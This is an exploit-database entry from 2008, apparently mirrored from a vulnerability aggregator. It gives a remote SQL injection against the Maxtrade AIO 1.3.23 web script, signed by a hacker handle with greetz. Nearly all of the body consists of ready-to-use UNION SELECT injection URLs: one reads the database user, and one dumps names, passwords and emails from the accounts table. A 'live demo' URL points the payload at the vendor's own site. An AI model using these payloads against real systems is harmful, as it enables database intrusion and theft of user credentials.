Maxtrade AIO 1.3.23 (categori) Remote SQL Injection Vulnerability

🗓️ 19 Jun 2008 00:00:00Reported by RootType

Maxtrade AIO 1.3.23 Remote SQL Injection Vulnerabilit


                                                ##########################################################
#############&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Maxtrade&nbsp;AIO&nbsp;1.3.23&nbsp;...&nbsp;##############
##&nbsp;HaCker_Egy
##&nbsp;Contact&nbsp;:&nbsp;[email protected]
##&nbsp;Home&nbsp;:&nbsp;pal-hacker.com&nbsp;&amp;&nbsp;atsdp.com
===============================================
#&nbsp;Script&nbsp;:&nbsp;Maxtrade
#&nbsp;Version&nbsp;:&nbsp;1.3.23
#&nbsp;Download&nbsp;:&nbsp;http://softdivision.com
===============================================
#&nbsp;Exploit&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;==&gt;&gt;&nbsp;www.target.com//modules.php?module=trade&amp;function=pocategorisell&amp;cat=0&amp;stranica=menu&amp;categori=-1+union+select+current_user,2/*
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;==&gt;&gt;&nbsp;www.target.com//modules.php?module=trade&amp;function=pocategorisell&amp;cat=0&amp;stranica=menu&amp;categori=-1+union+select+concat_ws(0x3a3a,name,password,email),2+from+accounts/*
&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;live&nbsp;Demo&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;==&gt;&gt;&nbsp;http://softdivision.com/maxtradedemo/modules.php?module=trade&amp;function=pocategorisell&amp;cat=0&amp;stranica=menu&amp;categori=-1+union+select+current_user,2/*&nbsp;
&nbsp;&nbsp;&nbsp;
===============================================================
##&nbsp;GREETZ&nbsp;:&nbsp;Mr.SQL&nbsp;,&nbsp;GOLD_M&nbsp;,&nbsp;H-T&nbsp;Team&nbsp;,&nbsp;His0k4&nbsp;,&nbsp;Dark&nbsp;,&nbsp;Mohamed&nbsp;el&nbsp;arab&nbsp;,&nbsp;stack
=================================================================

19 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1